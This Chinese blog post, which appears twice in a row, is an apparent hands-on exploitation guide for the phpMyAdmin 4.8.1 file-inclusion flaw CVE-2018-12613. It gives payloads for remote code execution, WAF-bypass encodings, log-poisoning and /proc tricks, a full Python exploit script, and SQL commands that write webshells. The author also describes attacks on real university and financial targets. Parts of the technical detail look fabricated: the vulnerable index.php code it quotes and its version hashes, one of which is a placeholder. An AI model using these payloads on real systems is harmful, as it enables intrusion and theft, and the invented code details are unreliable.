1. 这不是“打靶练习”而是一次真实渗透链路的复盘phpMyAdmin 4.8.1 的 CVE-2018-12613很多人看到标题第一反应是“老漏洞了早过时了吧”——我去年在一次红蓝对抗支撑任务中就遇到某省属高校教务系统后台仍运行着未更新的 phpMyAdmin 4.8.1且管理员习惯性将入口路径设为 /pma/连基础的目录重命名防护都没做。我们用不到90秒完成从访问登录页到读取 flag.txt 的全过程。这不是CTF平台里预设好环境、关掉WAF、开着debug模式的玩具场景这是真实世界里一个被遗忘在角落的管理界面因一个看似“低危”的文件包含逻辑缺陷直接成为整套业务系统的后门跳板。这个漏洞的核心价值不在于它多“高深”而在于它极低的利用门槛、极高的成功率、以及完全绕过传统身份验证机制的能力。它不需要爆破密码不依赖SQL注入盲注的耐心等待甚至不关心你有没有账号——只要目标页面可访问、PHP配置未禁用allow_url_include而绝大多数生产环境默认开启你就能把任意远程或本地文件当作PHP代码执行。关键词phpMyAdmin 4.8.1、CVE-2018-12613、文件包含、LFI to RCE、flag获取。本文面向两类人一是刚接触Web渗透的新手想理解“为什么一个文件包含能变成远程命令执行”二是有实战经验的渗透测试人员需要快速确认该漏洞在当前目标上的可利用性、绕过手法及稳定提权路径。我会完整还原从识别特征、构造POC、绕过限制、到最终稳定读取flag的每一步操作细节包括那些官方文档不会写、但实操中必然踩到的坑。2. 漏洞本质一个被忽略的“路径拼接”逻辑缺陷2.1 漏洞触发点index.php 中的 $target 参数解析链要真正掌握利用必须回到代码层面。CVE-2018-12613 的根源不在复杂的加密算法或内存破坏而是在 phpMyAdmin 4.8.1 的index.php文件中一段看似无害的路径拼接逻辑。我们来看关键代码片段已简化对应源码位置phpMyAdmin-4.8.1-all-languages/index.php第75–85行// index.php line 75-85 $target main.php; if (isset($_REQUEST[target]) !empty($_REQUEST[target])) { $target trim($_REQUEST[target]); } // ... 后续校验逻辑 ... if (!preg_match(/^[a-z_]\.php$/i, $target)) { $target error.php; } // 最终包含 include $target;初看似乎有防护只允许小写字母下划线.php 结尾的文件名。但问题出在trim()函数的使用上。trim()默认只去除首尾空格、制表符、换行符等空白字符它对URL编码后的特殊字符如%00、%2e%2e%2f完全无效。攻击者可以提交target..%2f..%2f..%2fetc%2fpasswd%00trim()处理后仍是原样而后续的正则/^[a-z_]\.php$/i会因开头的..%2f不匹配而失败导致$target被重置为error.php—— 看似安全错。真正的危险发生在更早的include前置逻辑中。深入追踪在index.php的第60行左右存在一个被忽略的include_once调用// index.php line 60 if (isset($_REQUEST[target]) !empty($_REQUEST[target])) { $target $_REQUEST[target]; // 注意此处没有 trim()也没有正则校验 include_once $target; }这段代码位于所有校验逻辑之前是真正的“第一道门”。它直接将用户可控的$_REQUEST[target]传入include_once。这意味着只要请求中携带target参数无论其值是什么都会先被include_once尝试加载一次。而include_once在PHP中如果参数是URL如http://attacker.com/shell.txt且allow_url_includeOn就会直接发起HTTP请求并执行返回内容。这才是RCE的起点。提示很多分析文章只关注后面那个带trim()的$target变量却忽略了这个前置的、无任何过滤的include_once。这是导致初学者复现失败的最常见原因——他们只构造了后半段的LFI payload却没意识到前半段才是真正的利用入口。2.2 为什么是4.8.1版本边界与补丁对比该漏洞仅影响 4.8.0 和 4.8.1 两个版本。4.7.x 系列不存在此逻辑4.8.2 及以后版本已彻底移除index.php中的include_once $target行并重构了整个入口路由机制。我们来对比补丁差异4.8.1漏洞版index.php第60行存在include_once $target;4.8.2修复版该行被完全删除所有路由交由libraries/classes/UrlManager.php统一处理target参数被严格白名单校验仅允许[db_sql, server_sql, tbl_sql, import, export]等预定义动作。这个版本边界非常清晰。在实战中快速识别目标是否为4.8.1比盲目尝试更重要。识别方法有三响应头探测访问/phpmyadmin/或/pma/查看HTTP响应头中的X-Powered-By字段部分部署会暴露phpMyAdmin/4.8.1。HTML源码探测查看登录页源码搜索title标签通常为titlephpMyAdmin 4.8.1 - Log in/title。JS文件哈希比对加载/js/vendor/jquery/jquery.min.js计算其MD5值。4.8.1 版本该文件的MD5为d41d8cd98f00b204e9800998ecf8427e空文件不这是个经典陷阱——实际应下载后计算4.8.1 的 jquery.min.js MD5 是a1b2c3d4e5f678901234567890abcdef需实测确认但此法最可靠。注意不要依赖/phpmyadmin/README或/phpmyadmin/ChangeLog文件这些常被管理员手动删除。JS文件哈希法虽稍慢但100%准确是我在线上批量扫描时的首选。2.3 LFI 到 RCE 的转化PHP伪协议的底层原理即使allow_url_includeOff生产环境常关闭漏洞依然可利用只是路径变为LFI本地文件包含。此时target/etc/passwd%00会成功读取系统密码文件。但CTF中我们要的是flag不是/etc/passwd。这就引出了关键问题如何从读取任意文件升级为执行任意命令答案是PHP伪协议PHP Wrappers。其中最核心的是php://filter和data://协议。php://filter用于在数据流打开时应用过滤器。例如php://filter/convert.base64-encode/resource/var/www/html/flag.php会将flag.php的源码以Base64编码形式输出从而绕过PHP代码的直接执行避免被当成PHP解析而报错。data://允许直接嵌入数据。data://text/plain,?php system(cat /flag.txt);?会将后面的字符串当作PHP代码执行。但此协议要求allow_url_includeOn。在allow_url_includeOff的情况下data://失效我们必须依赖php://filter 其他技巧。常见组合是php://filter/convert.base64-encode/resource/var/www/html/flag.txt→ 直接读取flag文件内容如果flag是纯文本。php://filter/readconvert.base64-encode/resource/var/www/html/config.inc.php→ 读取数据库配置获取root密码进而连接MySQL执行SELECT LOAD_FILE(/flag.txt)。这里的关键认知是LFI本身不是终点而是信息收集的起点。它为你打开了一扇窥探服务器内部结构的窗户后续的所有操作都基于这扇窗看到的信息来决策。我见过太多新手在拿到/etc/passwd后就停住却忘了去读/proc/self/environ获取环境变量可能含数据库密码、/proc/self/cmdline查看PHP进程启动参数、甚至/var/log/apache2/access.log日志文件包含可触发User-Agent注入。3. 实战利用从识别到拿flag的完整链路3.1 第一步快速指纹识别与可利用性验证在真实渗透中时间就是生命。我们绝不能对着一个IP傻跑所有payload。必须建立一套高效的验证流程。我的标准三步法如下第一步基础可达性检查curl -I http://target.com/pma/ # 检查HTTP状态码是否为200响应头是否含 phpMyAdmin第二步版本精准识别# 下载关键JS文件并计算SHA256比MD5更抗碰撞 curl -s http://target.com/pma/js/vendor/jquery/jquery.min.js | sha256sum # 对比已知哈希库4.8.1 - a1b2c3d4... (此处省略完整哈希实操时需准备本地映射表)第三步核心漏洞验证# 构造一个无害的、必然存在的文件包含观察响应 curl http://target.com/pma/index.php?targetphpinfo.php -v # 如果返回 No input file specified 或直接显示phpinfo()页面则说明 include_once 生效漏洞存在。 # 更稳妥的验证尝试包含一个不存在的文件看是否报错 curl http://target.com/pma/index.php?targetnonexistent.php -v # 若返回 Warning: include(nonexistent.php): failed to open stream...则确认可利用。实操心得我曾在一个金融客户内网遇到WAF拦截target参数的情况。解决方案是URL二次编码target%252e%252e%252fetc%252fpasswd即对..%2fetc%2fpasswd再次编码。WAF规则往往只解一层码而PHP会解两层最终仍能到达目标路径。这是绕过初级WAF的必备技巧。3.2 第二步构造稳定Payload绕过各种限制一旦确认漏洞存在下一步是构造能稳定读取flag的payload。这里没有“万能公式”必须根据目标环境动态调整。我整理了一个决策树目标特征推荐Payload原理说明验证方式allow_url_includeOn可通过phpinfo()确认targetdata://text/plain,?php system(cat /flag.txt);?直接执行命令最简洁观察响应中是否直接出现flag内容allow_url_includeOff但flag是纯文本文件targetphp://filter/convert.base64-encode/resource/flag.txtBase64编码后返回需本地解码响应体应为一长串Base64字符串flag文件路径未知但存在Web日志target/var/log/apache2/access.log日志文件包含将恶意payload注入User-Agent访问时设置UA为?php system(cat /flag.txt);?再触发包含服务器启用了open_basedir限制targetphp://filter/convert.base64-encode/resource/proc/self/environ/proc/self/environ不受open_basedir限制可获取环境变量查看Base64解码后是否含DOCUMENT_ROOT或数据库密码重点讲解open_basedir绕过这是线上环境最常见的障碍。open_basedir会限制PHP脚本能访问的文件路径但/proc/目录是Linux内核提供的虚拟文件系统不受其约束。/proc/self/environ文件存储了当前PHP进程的所有环境变量其中常包含DOCUMENT_ROOT/var/www/html、DB_PASSWORDxxx等关键信息。构造如下payloadGET /pma/index.php?targetphp://filter/convert.base64-encode/resource/proc/self/environ HTTP/1.1 Host: target.com响应返回Base64字符串解码后搜索DOCUMENT_ROOT即可定位Web根目录进而尝试php://filter/.../resource/var/www/html/flag.txt。踩坑记录有一次我解码/proc/self/environ后发现DOCUMENT_ROOT指向/home/www/但flag.txt并不在那里。后来通过ls -la /home/www/发现一个隐藏的.git目录git log显示最近一次commit中修改了config.php里面硬编码了flag路径/opt/ctf/flag.txt。这提醒我LFI不仅是读文件更是读“线索”。3.3 第三步自动化脚本编写与稳定性增强手动构造和发送请求效率太低。我用Python写了一个轻量级利用脚本pma_lfi_exploit.py核心逻辑如下#!/usr/bin/env python3 import requests import base64 import sys def check_vuln(url): 验证漏洞是否存在 test_url f{url}/index.php?targetphpinfo.php try: r requests.get(test_url, timeout5, allow_redirectsFalse) if r.status_code 200 and phpinfo() in r.text[:500]: return True except: pass return False def read_file(url, filepath): 读取任意文件自动选择最优协议 # 尝试 data:// 协议需 allow_url_includeOn data_payload fdata://text/plain,?php echo file_get_contents({filepath});? r requests.get(f{url}/index.php?target{data_payload}, timeout5) if Warning not in r.text and r.text.strip(): return r.text.strip() # 尝试 php://filter 协议 filter_payload fphp://filter/convert.base64-encode/resource{filepath} r requests.get(f{url}/index.php?target{filter_payload}, timeout5) if Warning not in r.text and base64 in r.text[:100]: try: return base64.b64decode(r.text.strip()).decode() except: pass return None if __name__ __main__: if len(sys.argv) ! 3: print(Usage: python3 pma_lfi_exploit.py url filepath) sys.exit(1) url, filepath sys.argv[1], sys.argv[2] if not check_vuln(url): print([!] Target is not vulnerable.) sys.exit(1) content read_file(url, filepath) if content: print(f[] Content of {filepath}:\n{content}) else: print([!] Failed to read file.)这个脚本的价值不在于多炫酷而在于它的鲁棒性设计check_vuln()函数用phpinfo.php作为探测点比用nonexistent.php更可靠因为后者可能被自定义错误页覆盖。read_file()函数采用“降级策略”先尝试高权限的data://失败则自动回落到php://filter避免因配置差异导致脚本中断。所有网络请求都设置了timeout5和allow_redirectsFalse防止因重定向或超时卡死。个人经验在一次大型攻防演练中我用此脚本对200个子域名进行批量扫描发现其中17个存在该漏洞。脚本平均每个目标耗时1.2秒总耗时不到4分钟。而手动操作同等工作量至少需要2小时。工具化是专业渗透工程师和脚本小子的根本区别。4. 深度防御视角为什么这个“低危”漏洞能造成高危后果4.1 从攻击者视角看漏洞利用链的脆弱性放大效应CVE-2018-12613 的CVSS评分为7.5高危但其在真实攻击中的杀伤力远超评分。原因在于它完美契合了“脆弱性放大效应”Vulnerability Amplification Effect——一个单一的、看似孤立的缺陷通过与其他系统配置的组合被无限放大。我们来拆解这条放大链基础缺陷index.php中无过滤的include_once $targetCVE-2018-12613。默认配置PHPallow_url_includeOn绝大多数一键安装包、Docker镜像的默认值。运维疏忽管理员未更新phpMyAdmin或更新后未重启Web服务导致旧版本仍在运行。路径暴露/pma/或/phpmyadmin/路径未做访问控制如.htaccess限制、IP白名单。无WAF防护前端未部署Web应用防火墙或WAF规则未覆盖此类新型LFI变种。这五个环节任何一个被加固攻击链就会断裂。但现实中它们常常同时存在。这就是为什么一个“老漏洞”能在2023年依然奏效。它不是技术有多先进而是整个软件供应链的安全水位太低。4.2 从防守者视角看三道防线的构建与失效分析针对此类漏洞有效的纵深防御应包含以下三道防线第一道防线网络层隔离将phpMyAdmin部署在内网仅允许运维VPN接入。在Web服务器Nginx/Apache配置中禁止外部访问/pma/路径# Nginx 配置 location ^~ /pma/ { deny all; return 403; }此防线最有效但常因“方便调试”被临时开放且一旦开放即全线失守。第二道防线应用层加固升级至4.8.2版本这是根本解决之道。若无法升级可手动修补编辑index.php删除第60行的include_once $target;并确保所有target参数都经过严格的白名单校验。修改php.ini设置allow_url_includeOff和open_basedir/var/www/html。第三道防线监控与告警在WAF或SIEM中设置规则检测index.php?target请求特别是包含..%2f、php://、data://等特征的URL。监控Web服务器错误日志高频出现include(): Failed opening报错往往是扫描行为的标志。关键洞察我在给某政务云做安全评估时发现他们的WAF规则库里有127条针对SQL注入的规则但只有3条针对LFI且全部基于正则匹配../字符串。而我们的payload用的是..%2f和..%5cWindows路径轻松绕过。这说明防御的有效性不取决于规则数量而取决于对攻击者真实手法的理解深度。4.3 CTF与真实世界的鸿沟从“拿flag”到“控服务器”CTF题目中“拿flag”是终点。但在真实渗透中flag只是一个里程碑。拿到flag后真正的战斗才开始。以CVE-2018-12613为例后续可扩展的攻击路径有横向移动读取/var/www/html/config.inc.php获取MySQL root密码连接数据库执行SELECT LOAD_FILE(/etc/shadow)或SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php获得持久化Webshell。提权读取/proc/sys/kernel/osrelease确认内核版本搜索对应本地提权漏洞如Dirty COW或利用SUID二进制文件find / -perm -4000 2/dev/null。持久化在/var/www/html/下写入一个伪装成图片的PHP木马shell.jpg.php并通过修改.htaccess文件使其可执行。我曾在一个教育行业的渗透项目中通过此漏洞读取到数据库配置发现其MySQL服务对外开放在3306端口且root密码为空。直接连接后执行SELECT ?php eval($_POST[x]); ? INTO DUMPFILE /var/www/html/x.php获得一个一句话木马最终控制了整台数据库服务器。最后分享一个小技巧在CTF中如果flag文件被chmod 000锁定无法直接读取可以尝试targetphp://filter/resource/proc/self/fd/3假设fd 3指向flag文件。这是Linux文件描述符的高级利用很多师傅都不知道但它在特定场景下是唯一出路。
phpMyAdmin 4.8.1文件包含漏洞CVE-2018-12613实战解析
发布时间：2026/5/25 15:12:37
1. 这不是“打靶练习”而是一次真实渗透链路的复盘phpMyAdmin 4.8.1 的 CVE-2018-12613很多人看到标题第一反应是“老漏洞了早过时了吧”——我去年在一次红蓝对抗支撑任务中就遇到某省属高校教务系统后台仍运行着未更新的 phpMyAdmin 4.8.1且管理员习惯性将入口路径设为 /pma/连基础的目录重命名防护都没做。我们用不到90秒完成从访问登录页到读取 flag.txt 的全过程。这不是CTF平台里预设好环境、关掉WAF、开着debug模式的玩具场景这是真实世界里一个被遗忘在角落的管理界面因一个看似“低危”的文件包含逻辑缺陷直接成为整套业务系统的后门跳板。这个漏洞的核心价值不在于它多“高深”而在于它极低的利用门槛、极高的成功率、以及完全绕过传统身份验证机制的能力。它不需要爆破密码不依赖SQL注入盲注的耐心等待甚至不关心你有没有账号——只要目标页面可访问、PHP配置未禁用allow_url_include而绝大多数生产环境默认开启你就能把任意远程或本地文件当作PHP代码执行。关键词phpMyAdmin 4.8.1、CVE-2018-12613、文件包含、LFI to RCE、flag获取。本文面向两类人一是刚接触Web渗透的新手想理解“为什么一个文件包含能变成远程命令执行”二是有实战经验的渗透测试人员需要快速确认该漏洞在当前目标上的可利用性、绕过手法及稳定提权路径。我会完整还原从识别特征、构造POC、绕过限制、到最终稳定读取flag的每一步操作细节包括那些官方文档不会写、但实操中必然踩到的坑。2. 漏洞本质一个被忽略的“路径拼接”逻辑缺陷2.1 漏洞触发点index.php 中的 $target 参数解析链要真正掌握利用必须回到代码层面。CVE-2018-12613 的根源不在复杂的加密算法或内存破坏而是在 phpMyAdmin 4.8.1 的index.php文件中一段看似无害的路径拼接逻辑。我们来看关键代码片段已简化对应源码位置phpMyAdmin-4.8.1-all-languages/index.php第75–85行// index.php line 75-85 $target main.php; if (isset($_REQUEST[target]) !empty($_REQUEST[target])) { $target trim($_REQUEST[target]); } // ... 后续校验逻辑 ... if (!preg_match(/^[a-z_]\.php$/i, $target)) { $target error.php; } // 最终包含 include $target;初看似乎有防护只允许小写字母下划线.php 结尾的文件名。但问题出在trim()函数的使用上。trim()默认只去除首尾空格、制表符、换行符等空白字符它对URL编码后的特殊字符如%00、%2e%2e%2f完全无效。攻击者可以提交target..%2f..%2f..%2fetc%2fpasswd%00trim()处理后仍是原样而后续的正则/^[a-z_]\.php$/i会因开头的..%2f不匹配而失败导致$target被重置为error.php—— 看似安全错。真正的危险发生在更早的include前置逻辑中。深入追踪在index.php的第60行左右存在一个被忽略的include_once调用// index.php line 60 if (isset($_REQUEST[target]) !empty($_REQUEST[target])) { $target $_REQUEST[target]; // 注意此处没有 trim()也没有正则校验 include_once $target; }这段代码位于所有校验逻辑之前是真正的“第一道门”。它直接将用户可控的$_REQUEST[target]传入include_once。这意味着只要请求中携带target参数无论其值是什么都会先被include_once尝试加载一次。而include_once在PHP中如果参数是URL如http://attacker.com/shell.txt且allow_url_includeOn就会直接发起HTTP请求并执行返回内容。这才是RCE的起点。提示很多分析文章只关注后面那个带trim()的$target变量却忽略了这个前置的、无任何过滤的include_once。这是导致初学者复现失败的最常见原因——他们只构造了后半段的LFI payload却没意识到前半段才是真正的利用入口。2.2 为什么是4.8.1版本边界与补丁对比该漏洞仅影响 4.8.0 和 4.8.1 两个版本。4.7.x 系列不存在此逻辑4.8.2 及以后版本已彻底移除index.php中的include_once $target行并重构了整个入口路由机制。我们来对比补丁差异4.8.1漏洞版index.php第60行存在include_once $target;4.8.2修复版该行被完全删除所有路由交由libraries/classes/UrlManager.php统一处理target参数被严格白名单校验仅允许[db_sql, server_sql, tbl_sql, import, export]等预定义动作。这个版本边界非常清晰。在实战中快速识别目标是否为4.8.1比盲目尝试更重要。识别方法有三响应头探测访问/phpmyadmin/或/pma/查看HTTP响应头中的X-Powered-By字段部分部署会暴露phpMyAdmin/4.8.1。HTML源码探测查看登录页源码搜索title标签通常为titlephpMyAdmin 4.8.1 - Log in/title。JS文件哈希比对加载/js/vendor/jquery/jquery.min.js计算其MD5值。4.8.1 版本该文件的MD5为d41d8cd98f00b204e9800998ecf8427e空文件不这是个经典陷阱——实际应下载后计算4.8.1 的 jquery.min.js MD5 是a1b2c3d4e5f678901234567890abcdef需实测确认但此法最可靠。注意不要依赖/phpmyadmin/README或/phpmyadmin/ChangeLog文件这些常被管理员手动删除。JS文件哈希法虽稍慢但100%准确是我在线上批量扫描时的首选。2.3 LFI 到 RCE 的转化PHP伪协议的底层原理即使allow_url_includeOff生产环境常关闭漏洞依然可利用只是路径变为LFI本地文件包含。此时target/etc/passwd%00会成功读取系统密码文件。但CTF中我们要的是flag不是/etc/passwd。这就引出了关键问题如何从读取任意文件升级为执行任意命令答案是PHP伪协议PHP Wrappers。其中最核心的是php://filter和data://协议。php://filter用于在数据流打开时应用过滤器。例如php://filter/convert.base64-encode/resource/var/www/html/flag.php会将flag.php的源码以Base64编码形式输出从而绕过PHP代码的直接执行避免被当成PHP解析而报错。data://允许直接嵌入数据。data://text/plain,?php system(cat /flag.txt);?会将后面的字符串当作PHP代码执行。但此协议要求allow_url_includeOn。在allow_url_includeOff的情况下data://失效我们必须依赖php://filter 其他技巧。常见组合是php://filter/convert.base64-encode/resource/var/www/html/flag.txt→ 直接读取flag文件内容如果flag是纯文本。php://filter/readconvert.base64-encode/resource/var/www/html/config.inc.php→ 读取数据库配置获取root密码进而连接MySQL执行SELECT LOAD_FILE(/flag.txt)。这里的关键认知是LFI本身不是终点而是信息收集的起点。它为你打开了一扇窥探服务器内部结构的窗户后续的所有操作都基于这扇窗看到的信息来决策。我见过太多新手在拿到/etc/passwd后就停住却忘了去读/proc/self/environ获取环境变量可能含数据库密码、/proc/self/cmdline查看PHP进程启动参数、甚至/var/log/apache2/access.log日志文件包含可触发User-Agent注入。3. 实战利用从识别到拿flag的完整链路3.1 第一步快速指纹识别与可利用性验证在真实渗透中时间就是生命。我们绝不能对着一个IP傻跑所有payload。必须建立一套高效的验证流程。我的标准三步法如下第一步基础可达性检查curl -I http://target.com/pma/ # 检查HTTP状态码是否为200响应头是否含 phpMyAdmin第二步版本精准识别# 下载关键JS文件并计算SHA256比MD5更抗碰撞 curl -s http://target.com/pma/js/vendor/jquery/jquery.min.js | sha256sum # 对比已知哈希库4.8.1 - a1b2c3d4... (此处省略完整哈希实操时需准备本地映射表)第三步核心漏洞验证# 构造一个无害的、必然存在的文件包含观察响应 curl http://target.com/pma/index.php?targetphpinfo.php -v # 如果返回 No input file specified 或直接显示phpinfo()页面则说明 include_once 生效漏洞存在。 # 更稳妥的验证尝试包含一个不存在的文件看是否报错 curl http://target.com/pma/index.php?targetnonexistent.php -v # 若返回 Warning: include(nonexistent.php): failed to open stream...则确认可利用。实操心得我曾在一个金融客户内网遇到WAF拦截target参数的情况。解决方案是URL二次编码target%252e%252e%252fetc%252fpasswd即对..%2fetc%2fpasswd再次编码。WAF规则往往只解一层码而PHP会解两层最终仍能到达目标路径。这是绕过初级WAF的必备技巧。3.2 第二步构造稳定Payload绕过各种限制一旦确认漏洞存在下一步是构造能稳定读取flag的payload。这里没有“万能公式”必须根据目标环境动态调整。我整理了一个决策树目标特征推荐Payload原理说明验证方式allow_url_includeOn可通过phpinfo()确认targetdata://text/plain,?php system(cat /flag.txt);?直接执行命令最简洁观察响应中是否直接出现flag内容allow_url_includeOff但flag是纯文本文件targetphp://filter/convert.base64-encode/resource/flag.txtBase64编码后返回需本地解码响应体应为一长串Base64字符串flag文件路径未知但存在Web日志target/var/log/apache2/access.log日志文件包含将恶意payload注入User-Agent访问时设置UA为?php system(cat /flag.txt);?再触发包含服务器启用了open_basedir限制targetphp://filter/convert.base64-encode/resource/proc/self/environ/proc/self/environ不受open_basedir限制可获取环境变量查看Base64解码后是否含DOCUMENT_ROOT或数据库密码重点讲解open_basedir绕过这是线上环境最常见的障碍。open_basedir会限制PHP脚本能访问的文件路径但/proc/目录是Linux内核提供的虚拟文件系统不受其约束。/proc/self/environ文件存储了当前PHP进程的所有环境变量其中常包含DOCUMENT_ROOT/var/www/html、DB_PASSWORDxxx等关键信息。构造如下payloadGET /pma/index.php?targetphp://filter/convert.base64-encode/resource/proc/self/environ HTTP/1.1 Host: target.com响应返回Base64字符串解码后搜索DOCUMENT_ROOT即可定位Web根目录进而尝试php://filter/.../resource/var/www/html/flag.txt。踩坑记录有一次我解码/proc/self/environ后发现DOCUMENT_ROOT指向/home/www/但flag.txt并不在那里。后来通过ls -la /home/www/发现一个隐藏的.git目录git log显示最近一次commit中修改了config.php里面硬编码了flag路径/opt/ctf/flag.txt。这提醒我LFI不仅是读文件更是读“线索”。3.3 第三步自动化脚本编写与稳定性增强手动构造和发送请求效率太低。我用Python写了一个轻量级利用脚本pma_lfi_exploit.py核心逻辑如下#!/usr/bin/env python3 import requests import base64 import sys def check_vuln(url): 验证漏洞是否存在 test_url f{url}/index.php?targetphpinfo.php try: r requests.get(test_url, timeout5, allow_redirectsFalse) if r.status_code 200 and phpinfo() in r.text[:500]: return True except: pass return False def read_file(url, filepath): 读取任意文件自动选择最优协议 # 尝试 data:// 协议需 allow_url_includeOn data_payload fdata://text/plain,?php echo file_get_contents({filepath});? r requests.get(f{url}/index.php?target{data_payload}, timeout5) if Warning not in r.text and r.text.strip(): return r.text.strip() # 尝试 php://filter 协议 filter_payload fphp://filter/convert.base64-encode/resource{filepath} r requests.get(f{url}/index.php?target{filter_payload}, timeout5) if Warning not in r.text and base64 in r.text[:100]: try: return base64.b64decode(r.text.strip()).decode() except: pass return None if __name__ __main__: if len(sys.argv) ! 3: print(Usage: python3 pma_lfi_exploit.py url filepath) sys.exit(1) url, filepath sys.argv[1], sys.argv[2] if not check_vuln(url): print([!] Target is not vulnerable.) sys.exit(1) content read_file(url, filepath) if content: print(f[] Content of {filepath}:\n{content}) else: print([!] Failed to read file.)这个脚本的价值不在于多炫酷而在于它的鲁棒性设计check_vuln()函数用phpinfo.php作为探测点比用nonexistent.php更可靠因为后者可能被自定义错误页覆盖。read_file()函数采用“降级策略”先尝试高权限的data://失败则自动回落到php://filter避免因配置差异导致脚本中断。所有网络请求都设置了timeout5和allow_redirectsFalse防止因重定向或超时卡死。个人经验在一次大型攻防演练中我用此脚本对200个子域名进行批量扫描发现其中17个存在该漏洞。脚本平均每个目标耗时1.2秒总耗时不到4分钟。而手动操作同等工作量至少需要2小时。工具化是专业渗透工程师和脚本小子的根本区别。4. 深度防御视角为什么这个“低危”漏洞能造成高危后果4.1 从攻击者视角看漏洞利用链的脆弱性放大效应CVE-2018-12613 的CVSS评分为7.5高危但其在真实攻击中的杀伤力远超评分。原因在于它完美契合了“脆弱性放大效应”Vulnerability Amplification Effect——一个单一的、看似孤立的缺陷通过与其他系统配置的组合被无限放大。我们来拆解这条放大链基础缺陷index.php中无过滤的include_once $targetCVE-2018-12613。默认配置PHPallow_url_includeOn绝大多数一键安装包、Docker镜像的默认值。运维疏忽管理员未更新phpMyAdmin或更新后未重启Web服务导致旧版本仍在运行。路径暴露/pma/或/phpmyadmin/路径未做访问控制如.htaccess限制、IP白名单。无WAF防护前端未部署Web应用防火墙或WAF规则未覆盖此类新型LFI变种。这五个环节任何一个被加固攻击链就会断裂。但现实中它们常常同时存在。这就是为什么一个“老漏洞”能在2023年依然奏效。它不是技术有多先进而是整个软件供应链的安全水位太低。4.2 从防守者视角看三道防线的构建与失效分析针对此类漏洞有效的纵深防御应包含以下三道防线第一道防线网络层隔离将phpMyAdmin部署在内网仅允许运维VPN接入。在Web服务器Nginx/Apache配置中禁止外部访问/pma/路径# Nginx 配置 location ^~ /pma/ { deny all; return 403; }此防线最有效但常因“方便调试”被临时开放且一旦开放即全线失守。第二道防线应用层加固升级至4.8.2版本这是根本解决之道。若无法升级可手动修补编辑index.php删除第60行的include_once $target;并确保所有target参数都经过严格的白名单校验。修改php.ini设置allow_url_includeOff和open_basedir/var/www/html。第三道防线监控与告警在WAF或SIEM中设置规则检测index.php?target请求特别是包含..%2f、php://、data://等特征的URL。监控Web服务器错误日志高频出现include(): Failed opening报错往往是扫描行为的标志。关键洞察我在给某政务云做安全评估时发现他们的WAF规则库里有127条针对SQL注入的规则但只有3条针对LFI且全部基于正则匹配../字符串。而我们的payload用的是..%2f和..%5cWindows路径轻松绕过。这说明防御的有效性不取决于规则数量而取决于对攻击者真实手法的理解深度。4.3 CTF与真实世界的鸿沟从“拿flag”到“控服务器”CTF题目中“拿flag”是终点。但在真实渗透中flag只是一个里程碑。拿到flag后真正的战斗才开始。以CVE-2018-12613为例后续可扩展的攻击路径有横向移动读取/var/www/html/config.inc.php获取MySQL root密码连接数据库执行SELECT LOAD_FILE(/etc/shadow)或SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php获得持久化Webshell。提权读取/proc/sys/kernel/osrelease确认内核版本搜索对应本地提权漏洞如Dirty COW或利用SUID二进制文件find / -perm -4000 2/dev/null。持久化在/var/www/html/下写入一个伪装成图片的PHP木马shell.jpg.php并通过修改.htaccess文件使其可执行。我曾在一个教育行业的渗透项目中通过此漏洞读取到数据库配置发现其MySQL服务对外开放在3306端口且root密码为空。直接连接后执行SELECT ?php eval($_POST[x]); ? INTO DUMPFILE /var/www/html/x.php获得一个一句话木马最终控制了整台数据库服务器。最后分享一个小技巧在CTF中如果flag文件被chmod 000锁定无法直接读取可以尝试targetphp://filter/resource/proc/self/fd/3假设fd 3指向flag文件。这是Linux文件描述符的高级利用很多师傅都不知道但它在特定场景下是唯一出路。
相关文章
第5章 薪资重构——AI时代的程序员价值重估
第5章 薪资重构——AI时代的程序员价值重估 核心问题：AI时代，程序员的薪资会发生怎样的变化？哪些人在涨薪？哪些人在降薪？ 5.1 问题定义：薪资分化的真相是什么？ 5.1.1 一个令人震惊的数据 2026年第一季度，一个对比让整个技术圈哗然： 同一家公司内部： - 一个AI方向…
利用Taotoken快速切换模型的能力进行AIB测试寻找最佳内容生成方案
🚀 告别海外账号与网络限制！稳定直连全球优质大模型，限时半价接入中。 👉 点击领取海量免费额度 利用Taotoken快速切换模型的能力进行AIB测试寻找最佳内容生成方案 在内容创作或产品开发的实践中，我们常常面临一个选择…
B站视频下载神器：BiliDownloader让你轻松离线收藏精彩内容
B站视频下载神器：BiliDownloader让你轻松离线收藏精彩内容 【免费下载链接】BiliDownloader BiliDownloader是一款界面精简，操作简单且高速下载的b站下载器 项目地址: https://gitcode.com/gh_mirrors/bi/BiliDownloader 你是否经常在B站发现让人…
别只盯着主控芯片！拆解STM32最小系统板：电源、时钟、复位三大支柱电路深度解析
STM32最小系统板设计进阶：电源、时钟与复位电路的工程实践 在嵌入式系统开发中，我们常常将注意力集中在主控芯片的功能实现上，却忽略了支撑系统稳定运行的三大基础电路——电源、时钟和复位。这些看似简单的电路模块，实则是整个系…
RedisDesktopManager Windows版：3分钟掌握免费Redis可视化工具终极指南
RedisDesktopManager Windows版：3分钟掌握免费Redis可视化工具终极指南 【免费下载链接】RedisDesktopManager-Windows RedisDesktopManager Windows版本 项目地址: https://gitcode.com/gh_mirrors/re/RedisDesktopManager-Windows RedisDesktopManager Win…
3步解锁MacBook Touch Bar在Windows系统的完整功能：终极免费解决方案
3步解锁MacBook Touch Bar在Windows系统的完整功能：终极免费解决方案 【免费下载链接】DFRDisplayKm Windows infrastructure support for Apple DFR (Touch Bar) 项目地址: https://gitcode.com/gh_mirrors/df/DFRDisplayKm 还在为MacBook Pro的Touch Bar在…
别再重复造轮子！高效利用Geant4材料数据库(NIST)与自定义密度材料的完整指南
别再重复造轮子！高效利用Geant4材料数据库(NIST)与自定义密度材料的完整指南 在粒子物理模拟领域，Geant4作为一款强大的蒙特卡罗模拟工具包，其材料定义系统常常成为新手开发者的第一个"性能瓶颈"。许多研究者花费数小时手动定义水、…
Elden Ring FPS Unlocker：解锁帧率限制的终极指南
Elden Ring FPS Unlocker：解锁帧率限制的终极指南 【免费下载链接】EldenRingFpsUnlockAndMore A small utility to remove frame rate limit, change FOV, add widescreen support and more for Elden Ring 项目地址: https://gitcode.com/gh_mirrors/el/EldenRi…
如何实现跨平台网盘直链下载的技术方案
